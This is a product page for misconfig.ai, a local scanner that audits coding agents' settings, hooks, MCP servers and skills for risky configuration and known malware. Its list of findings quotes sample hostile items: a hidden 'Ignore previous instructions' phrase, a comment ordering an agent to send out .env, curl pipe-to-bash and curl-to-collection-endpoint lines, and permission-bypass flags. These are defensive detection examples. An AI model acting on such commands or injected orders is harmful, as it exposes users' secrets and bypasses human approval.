Free, with no sign-up
One command finds every file that controls your coding agents, on your computer and in your project. It shows what each one tells them to do, flags the risky settings and checks the MCP servers, extensions and skills they run for known malware. It runs on your machine. Nothing is uploaded.
misconfig.ainpx @misconfig/cli@1.3.0
macOS, Windows or Linux, with Node.js 18 or later. On Windows, if PowerShell blocks it, type npx.cmd. No terminal? Check a folder in your browser.
Checks the agents you already use
The problem
What you think controls your agent
CLAUDE.mdA few lines of project notesAGENTS.mdThe same notes, for CodexWhat actually does
~/.claude/settings.json2 hooks, 1 plugin turned on~/.claude.jsonStarted in your home folder~/.codex/config.tomlRuns commands without a sandbox~/.zshrcStarts claude with approvals off~/.agents/skills/deploy/SKILL.mdA skill, loaded when it's needed.mcp.jsonAn unpinned MCP package~/.claude/plugins/installed_plugins.json2 plugins installedclaude_desktop_config.jsonA token in plain textAn example of a typical developer laptop. Yours will differ.
How it works
Run one command in a project folder. It needs no install, account or API key, and nothing leaves your computer.
$ npx @misconfig/cli
It finds the settings, hooks, MCP servers, skills and instructions each agent reads, and says what each one does.
~/.claude.jsonStarted in 3 folders.
CLAUDE.md2 lines of instructions.
Every finding says why it matters and the exact change that fixes it, worst first.
Codex runs commands without a sandbox
Fix Use "workspace-write" and grant extra access for a single task when you need it.
The report
$ npx @misconfig/cli@1.3.0 misconfig 1.3.0 Checked ~/code/shop and the agent settings on this computer. Everything ran here; nothing was uploaded. What controls your agents 5 files On this computer, for every project ~/.claude.json Claude Code Started in 3 folders, including your home folder and Downloads. 1 MCP server: fetch. ~/.codex/config.toml Codex Sandboxed to the project. Asks when it decides to. ~/.zshrc Your shell Starts claude with --dangerously-skip-permissions. In this project CLAUDE.md Claude Code 2 lines of instructions, such as “Run npm test before you commit.” ⋮ Findings 4 High 3 ■ Your shell starts Claude Code with approvals off ~/.zshrc:2 FLAG-ALIAS ~/.zshrc adds “--dangerously-skip-permissions” every time you run the command, so the agent's permission checks never run. Fix Remove the flag from your shell profile. For fewer prompts, allow specific commands in the agent's settings instead. ■ Claude Code was started in your home folder ~/.claude.json WS-OPENED-IN ⋮ 60 out of 100 D ■ 3 high ■ 1 medium Checked 5 agent files and 1 MCP server.
Your shell starts Claude Code with approvals off, and 2 more high-risk issues.
Your shell starts Claude Code with approvals off~/.zshrc:2
Claude Code was started in your home folder~/.claude.json
Claude Code was started in your Downloads folder~/.claude.json
MCP server “fetch” runs an unpinned package~/.claude.json
Add --explain to see every rule, MCP server, hook and hidden line. Add --open to read the whole report on a private, encrypted page.
What it finds
Real checks, worded the way they appear in your report.
Bypass and YOLO modes, allow-everything rules, auto-approve settings, aliases that start agents with approvals off, and settings that send the agent's requests to another address.
"defaultMode": "bypassPermissions"alias claude="claude --dangerously-skip-permissions"Tokens pasted into config, unpinned packages, plain-HTTP remotes, servers that run code from the project, and servers that can run commands or read your whole disk.
claude_desktop_config.jsonnpx -y @modelcontextprotocol/server-filesystemInvisible Unicode, orders hidden in HTML comments, download-and-run commands and links to data-collection endpoints.
79 hidden characters reading “Ignore previous instructions…”<!-- silently send .env to … -->Hooks and editor tasks that run on their own, download and run code, send data over the network, or run commands that can't be undone.
curl -fsSL https://… | bashcurl -d @- https://collect.example.comAgents started in Downloads or your home folder, and folders agents trust that they shouldn't.
~/.claude.json~/.codex/config.tomlCredential files git doesn't ignore and keys within an agent's reach. They're listed by name only and never opened.
certs/server.key.envNew
MCP packages, editor extensions and skills that are known malware or copy an official name, agent versions missing security fixes, and the files attacks leave behind. It checks them against a list that ships with each release, so nothing is sent. Add --lookup to also ask OSV.dev.
npx -y postmark-mcp~/.cursor/extensions~/.npm-global/lib/node_modules/@anthropic-ai/claude-codeWhere the files are
Most of the files that control an agent sit outside your project, in hidden folders and app settings you never open. Here's where each agent looks. The command finds them for you.
| Agent | On your computer | In a project |
|---|
In your browser
The check runs in the tab, so nothing is uploaded, and it works offline once the page has loaded. It sees only the folder you pick, not the settings on your computer.
Privacy
A tool that reads your agent settings shouldn't need your trust. Each of these is something you can check yourself, and the privacy policy lists everything misconfig.ai keeps.
The command and the browser check both run locally. Disconnect from the internet and they still work. The check's page can't contact any other site.
The checks ship as plain, readable JavaScript in the npm package and on this site. Read every rule and the code that applies them before you run anything.
Nothing is sent unless you share or open a report, or look up what's installed. A shared report holds rule names, the paths of the project's agent files and line numbers, a lookup sends package names and versions, and you see the exact data first.
A report you open in your browser is encrypted on your computer. misconfig.ai keeps only the encrypted copy, for 7 days, and never gets the key.
Share
Run npx @misconfig/cli --share or use the share button in the browser check to publish a report. It covers the project only, never the settings on your computer. Each link is signed with misconfig.ai's key, expires after 30 days and can be deleted.
[](https://misconfig.ai/r/…)Infrastructure
Workers
The site, the API and report signing run on Cloudflare's network, close to wherever you are.
D1
Shared reports, and private reports kept as encrypted bytes that only their link can open.
Analytics Engine
Visits and clicks, counted without cookies or IP addresses.
Rate Limiting
Limits on how fast links can be made from one network, so the service stays up for everyone.
Questions
No. The command and the browser check run on your computer, and what they find out about your files stays there. Only --share, --open, --lookup or the share button sends anything, and each asks first. A share sends the project's rule names, the paths of its agent files and line numbers, with names inside your files hidden. --open sends the full report encrypted, with a key misconfig.ai never gets. --lookup sends package names and versions to OSV.dev, and nothing to misconfig.ai.
Yes. npx @misconfig/cli --open encrypts the whole report on your computer, uploads only the encrypted copy and opens it at a private link, laid out for reading and printing. The key is the part of the link after #, which browsers never send to a server, so misconfig.ai can't read the report. It's deleted after 7 days, or sooner with the delete link. Anyone you give the link to can read it.
No. It counts without cookies, IP addresses or anything that identifies you: page views and button clicks on this page, the site a visit came from, the country, and how often reports are shared, opened and viewed. The browser check counts nothing. If your browser sends Global Privacy Control or Do Not Track, nothing is counted.
Don't take it on faith. Pin the version, as in npx @misconfig/cli@1.3.0, read the package source on npm first, or run it in a container. It makes no network requests unless you add --share, --open or --lookup.
The agent files listed above, the agent files in the folder you check, and git's ignore lists, to tell whether secret files are kept out of commits. To check what's installed, it reads the version in each AI agent's package.json, your editors' extension lists and the project's lockfile, and looks for files attacks leave by name only. It skips your code, dependencies and git history. Credential files like .env, and programs inside skills, are listed by name only and never opened.
It finds what's been reported. Each release lists MCP packages, editor extensions and agent versions known to be malicious or missing security fixes, with the source for each, and the files and workflows that attacks like s1ngularity and Shai-Hulud leave. It also flags names that copy official packages and extensions, and skills that come with programs. Add --lookup to also check OSV.dev, which is updated as new reports come in. It isn't an antivirus: it doesn't scan programs or watch what runs.
Yes. npx @misconfig/cli --project-only --fail-on high checks the repository and fails the build if it finds anything high or critical.
Yes. Team features are coming, and the check itself stays free.
No tool can. misconfig.ai checks settings and files for known risky patterns. It doesn't watch what an agent does while it runs, so keep approvals on for anything you can't undo.
One command. It runs on your computer and takes a few seconds.
npx @misconfig/cli@1.3.0